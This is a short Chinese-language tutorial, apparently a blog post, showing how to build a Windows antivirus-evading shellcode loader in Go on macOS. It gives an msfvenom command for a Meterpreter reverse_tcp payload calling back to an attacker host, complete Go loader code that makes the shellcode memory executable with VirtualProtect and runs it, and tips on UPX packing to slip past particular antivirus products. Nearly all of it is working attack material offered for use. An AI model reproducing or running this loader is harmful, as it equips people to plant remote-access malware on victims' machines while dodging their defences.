MacOS下使用GO语言加载shellcode过windows下各种AV

设置MacOS下go环境变量GOOS为windows,CGO_ENABLED为0,编译后即可生成exe文件给windows使用

go env -w GOOS=windows
go env -w CGO_ENABLED=0

使用msf生成shellcode-hex:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=53 --smallest -b '\x00' -f hex -o test.hex

之后,新建一个test.go文件,输入以下内容,保存:

package main

import (
	"encoding/hex"
	"log"
	"syscall"
	"unsafe"
)

func Run(sc []byte) {
	f := func() {}
	*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
	var oldfperms2 uint32
	syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect").Call(
		uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&sc)))),
		uintptr(uint(len(sc))),
		uintptr(uint32(0x40)),
		uintptr(unsafe.Pointer(&oldfperms2)))
	f()

}

func main() {
	v := "shellcode的hex编码"
	a, err := hex.DecodeString(v)
	if err != nil {
		log.Fatalln()
	}
	Run(a)
}

其中shellcode的hex编码填写metasploit生成的即可。然后使用命令编译生成test.exe

go build test.go

看效果:

之后,还可以使用upx命令对其进行加壳压缩,这一步对过杀软有弊无益,只是为了压缩减小可执行文件,其他的毫无用处,还会带来杀软敏感检测,因为杀软对upx壳子的PE文件检查更严格。不过在考虑过指定杀软的时候,此操作一试。(例如:别的杀软都可以过,就一个360过不了,可以尝试此方法后,有概率过)

upx -9 test.exe